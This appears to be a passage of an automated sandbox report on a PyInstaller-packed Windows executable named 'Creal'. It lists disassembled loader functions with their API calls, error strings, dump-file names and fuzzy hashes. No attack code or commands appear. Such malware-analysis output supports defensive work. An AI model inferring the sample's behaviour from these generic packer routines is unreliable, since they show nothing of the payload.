Part of subcall function 00007FF738B7AF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF22
Part of subcall function 00007FF738B7AF0C: GetLastError.KERNEL32(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF2C

Part of subcall function 00007FF738B7AEC4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF738B7AEA3,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7AECD
Part of subcall function 00007FF738B7AEC4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF738B7AEA3,?,?,?,?,?,00007FF738B730CC), ref: 00007FF738B7AEF2

_get_daylight.LIBCMT ref: 00007FF738B863A4

Part of subcall function 00007FF738B85D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B85D7C

_get_daylight.LIBCMT ref: 00007FF738B8661A
_get_daylight.LIBCMT ref: 00007FF738B8662B
_get_daylight.LIBCMT ref: 00007FF738B8663C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF738B8687C), ref: 00007FF738B86663

Strings

W. Europe Standard Time, xrefs: 00007FF738B86709
W. Europe Summer Time, xrefs: 00007FF738B86721

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
Instruction ID: 21f4ccf7aa1522583a668d15e6da9e7907ea4c7fb8beaf0a1d41a01095a2fa93
Opcode Fuzzy Hash: 54e1ccf0b1e099ab2aef5fd1d20d70d6c7b19d4e9a74b58f9fc53268ba567377
Instruction Fuzzy Hash: 64D10323A08287A6E720FF26D8545B9E351EF44784FC48139EE0D47685EF3EE441E76A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B872BC Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF738B86FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B87031
Part of subcall function 00007FF738B86FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B870AF
Part of subcall function 00007FF738B86FF0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B87100

CreateFileW.KERNELBASE ref: 00007FF738B873C2
CreateFileW.KERNEL32 ref: 00007FF738B87412
GetLastError.KERNEL32 ref: 00007FF738B87442
GetFileType.KERNELBASE ref: 00007FF738B87457
GetLastError.KERNEL32 ref: 00007FF738B87461
CloseHandle.KERNEL32 ref: 00007FF738B87494
CloseHandle.KERNEL32 ref: 00007FF738B875F7
CreateFileW.KERNEL32 ref: 00007FF738B8762C
GetLastError.KERNEL32 ref: 00007FF738B8763B

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
Instruction ID: e2ca2ed515b1069ae81d822f1aebdff5155161c28e1c03bf2a892f089ee605fd
Opcode Fuzzy Hash: d1d4f06f2925cf98ba43065425f03779d4007acc0884ea13a9d80746d18551ee
Instruction Fuzzy Hash: 1AC1C333B28A9396EB10DF68C4805ACB761FB49B98B814229DE2E5B3D5CF39D052D315

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B67950 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF738B6154F), ref: 00007FF738B679E7

Part of subcall function 00007FF738B67B60: GetEnvironmentVariableW.KERNEL32(00007FF738B63A1F), ref: 00007FF738B67B9A
Part of subcall function 00007FF738B67B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF738B67BB7

Part of subcall function 00007FF738B77DEC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B77E05

SetEnvironmentVariableW.KERNEL32 ref: 00007FF738B67AA1

Part of subcall function 00007FF738B62B30: MessageBoxW.USER32 ref: 00007FF738B62C05

Strings

TMP, xrefs: 00007FF738B6798A, 00007FF738B67A49, 00007FF738B67AD7
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF738B679CA
_MEI%d, xrefs: 00007FF738B679F5
TMP, xrefs: 00007FF738B679B0

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: a027e6aea258c43f07e2bc9a46543fc38ad0f37717e376dcca62c7854c850c7b
Instruction ID: 2469d51c9a4183ee16e21d5faf637ff447fc072341b88d416fe2ef367211ea57
Opcode Fuzzy Hash: a027e6aea258c43f07e2bc9a46543fc38ad0f37717e376dcca62c7854c850c7b
Instruction Fuzzy Hash: FB51E713B1964372FD15BB6698152BAD2505F88BD0FC84035ED0E4B793EE3EE101A32E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B865EC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF738B8661A

Part of subcall function 00007FF738B85D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B85D7C

_get_daylight.LIBCMT ref: 00007FF738B8662B

Part of subcall function 00007FF738B85D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B85D1C

_get_daylight.LIBCMT ref: 00007FF738B8663C

Part of subcall function 00007FF738B85D38: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B85D4C

Part of subcall function 00007FF738B7AF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF22
Part of subcall function 00007FF738B7AF0C: GetLastError.KERNEL32(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF2C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF738B8687C), ref: 00007FF738B86663

Strings

W. Europe Standard Time, xrefs: 00007FF738B86709
W. Europe Summer Time, xrefs: 00007FF738B86721

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 2248164782-690618308
Opcode ID: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
Instruction ID: c0f9620f4ff10de662aefbc066b9a4a1e47402b5ad94d938009763043226da72
Opcode Fuzzy Hash: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
Instruction Fuzzy Hash: B251C433A08683A6E710FF21D8945A9F760FF48784FC04139EA0D87696DF3EE4009B69

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B688D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF738B68901
FindClose.KERNELBASE ref: 00007FF738B68910

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
Instruction ID: a8316475188a3a2c3103a0e153eb50c956e606de8d0f3655b246855e76729705
Opcode Fuzzy Hash: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
Instruction Fuzzy Hash: 0AF0F433A2C28286F760AF60F45976AF390FB84728F800335D66D066E4CF3CD0089B15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B61710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fopen, xrefs: 00007FF738B61797
malloc, xrefs: 00007FF738B6186D
fseek, xrefs: 00007FF738B6180D
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF738B61866
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF738B61726
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF738B618E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF738B618F5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF738B61806
Failed to create symbolic link %s!, xrefs: 00007FF738B61753
fread, xrefs: 00007FF738B618FC
fwrite, xrefs: 00007FF738B618EC
Failed to extract %s: failed to open target file!, xrefs: 00007FF738B61790
Failed to extract %s: failed to open archive file!, xrefs: 00007FF738B617D9

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: cae609f262cff8efbede3bbe517e8410b2f5a6bbc14804c7dfdf7148c3f5e0da
Instruction ID: 18a27c759703244d05fd70c45c67909e1d466583c47948c4d258223c38b87691
Opcode Fuzzy Hash: cae609f262cff8efbede3bbe517e8410b2f5a6bbc14804c7dfdf7148c3f5e0da
Instruction Fuzzy Hash: 6351B163F08683A1EA10BB25E8502B9E390BF45794FC44035EE9C47796DF3EE145E72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B68950 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0000000100000001,00007FF738B6414C,00007FF738B67911,?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B68990
OpenProcessToken.ADVAPI32(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B689A1
GetTokenInformation.KERNELBASE(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B689C3
GetLastError.KERNEL32(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B689CD
GetTokenInformation.KERNELBASE(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B68A0A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF738B68A1C
FindCloseChangeNotification.KERNELBASE(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B68A34
LocalFree.KERNEL32(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B68A66
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF738B68A8D
CreateDirectoryW.KERNELBASE(?,00007FF738B67D26,?,00007FF738B61785), ref: 00007FF738B68A9E

Strings

S-1-3-4, xrefs: 00007FF738B68A3F
D:(A;;FA;;;%s), xrefs: 00007FF738B68A49

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$ChangeCloseCreateCurrentDirectoryErrorFindFreeLastLocalNotificationOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 2187719417-2855260032
Opcode ID: 9d301874694f13eee612efc427f36135b77fc192910b60788b949b6aa4b4f411
Instruction ID: 770e60facb6253547f9b036a541ce60594dd8be80e8cebc834205529c84d1796
Opcode Fuzzy Hash: 9d301874694f13eee612efc427f36135b77fc192910b60788b949b6aa4b4f411
Instruction Fuzzy Hash: F841B133618B8392EB10AF20E4446AAE360FF847A0F841235EA6E476E5DF3DE408D715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B61AA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF738B682B0: _fread_nolock.LIBCMT ref: 00007FF738B6835A

_fread_nolock.LIBCMT ref: 00007FF738B61B54

Part of subcall function 00007FF738B62890: MessageBoxW.USER32 ref: 00007FF738B6299B

Strings

malloc, xrefs: 00007FF738B61BDD
Failed to read cookie!, xrefs: 00007FF738B61B5F
fread, xrefs: 00007FF738B61B66, 00007FF738B61C10
Error on file., xrefs: 00007FF738B61C36
fseek, xrefs: 00007FF738B61B33
MEI, xrefs: 00007FF738B61AE2
Could not allocate buffer for TOC!, xrefs: 00007FF738B61BD6
Failed to seek to cookie position!, xrefs: 00007FF738B61B2C
Could not read full TOC!, xrefs: 00007FF738B61C09

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: df9a04473455d20de4a98fb0c71366aac2b4337e7808e955a25ca86043e61eea
Instruction ID: 38529ab688f7440fa6169c403f1fa61811c89ed0d10b5375d99ee6442e687101
Opcode Fuzzy Hash: df9a04473455d20de4a98fb0c71366aac2b4337e7808e955a25ca86043e61eea
Instruction Fuzzy Hash: BF51B173A08643A6EB14EF28D44017CF3A0EF48B84B958135DA4C877A5DE7DE444D76E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B68080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF738B63D52), ref: 00007FF738B680CF
GetStartupInfoW.KERNEL32 ref: 00007FF738B680EE

Part of subcall function 00007FF738B7AA14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7AA28

Part of subcall function 00007FF738B78630: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B78697

GetCommandLineW.KERNEL32 ref: 00007FF738B6818E
CreateProcessW.KERNELBASE ref: 00007FF738B681D0
WaitForSingleObject.KERNEL32 ref: 00007FF738B681E4
GetExitCodeProcess.KERNELBASE ref: 00007FF738B681F4

Strings

CreateProcessW, xrefs: 00007FF738B68207
Error creating child process!, xrefs: 00007FF738B68200

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
Instruction ID: 0d24c9bf568d5737a8ccbbc3b6336cd94f1a3c8db1738337a58e79855e9035da
Opcode Fuzzy Hash: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
Instruction Fuzzy Hash: C1412233A087C792DA20AB64E4552AAF360FF943A0F900339E6AD47BE5DF7DD0449B15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B61000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF738B63EC0: GetModuleFileNameW.KERNEL32(?,00007FF738B639EA), ref: 00007FF738B63EF1

SetDllDirectoryW.KERNEL32 ref: 00007FF738B63BE9

Part of subcall function 00007FF738B67B60: GetEnvironmentVariableW.KERNEL32(00007FF738B63A1F), ref: 00007FF738B67B9A
Part of subcall function 00007FF738B67B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF738B67BB7

Strings

_PYI_ONEDIR_MODE, xrefs: 00007FF738B63A34, 00007FF738B63A5F
Failed to convert DLL search path!, xrefs: 00007FF738B63BD1
_MEIPASS2, xrefs: 00007FF738B63A0B, 00007FF738B63A74, 00007FF738B63D22, 00007FF738B63D2E
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF738B63B60
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF738B63AC6
MEI, xrefs: 00007FF738B63B1B

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: ab6de8f181ea64515adbac0ba3720a6739a6f1f1202a996b4cec95b989a1f81f
Instruction ID: 08246aa3bee1e46f8661ac50d81449eb5cd454894e3ccf47efd4707310aeb488
Opcode Fuzzy Hash: ab6de8f181ea64515adbac0ba3720a6739a6f1f1202a996b4cec95b989a1f81f
Instruction Fuzzy Hash: 41B1C223B1DA8761EA24BB2198502BDD350FF88784FC40135EA4D47696EF3EE505E73A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B61050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF738B61249
malloc, xrefs: 00007FF738B610F8, 00007FF738B61126
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF738B610B4
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF738B6111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF738B610F1
1.2.13, xrefs: 00007FF738B6107E

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: d51d43ffa565e5885474e7ea75c62f1ea6d1d5bd64da8a7a1b4e6c10cc20876d
Instruction ID: e30bf4dd1eb8cb8ce07a8545f91f617009ad8fe03ebf43e06fe2d5c7187912bb
Opcode Fuzzy Hash: d51d43ffa565e5885474e7ea75c62f1ea6d1d5bd64da8a7a1b4e6c10cc20876d
Instruction Fuzzy Hash: 9451F323A08683A5EA20BB55A4403BEE390FF84794FC44135EE8D87795EF3DE545E319

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7F1D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF738B7F56A,?,?,-00000018,00007FF738B7B317,?,?,?,00007FF738B7B20E,?,?,?,00007FF738B76452), ref: 00007FF738B7F34C
GetProcAddress.KERNEL32(?,?,?,00007FF738B7F56A,?,?,-00000018,00007FF738B7B317,?,?,?,00007FF738B7B20E,?,?,?,00007FF738B76452), ref: 00007FF738B7F358

Strings

ext-ms-, xrefs: 00007FF738B7F2A9
api-ms-, xrefs: 00007FF738B7F296

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
Instruction ID: 215dd37c889844dd1b45e3a091f7712234c80107334725681e4aea3a8ba9da73
Opcode Fuzzy Hash: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
Instruction Fuzzy Hash: 3E413623B19B0362EA11EB1AA800579E390BF44B90FC94135ED2D57794DE3EE449A32E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7C01C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7C449

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
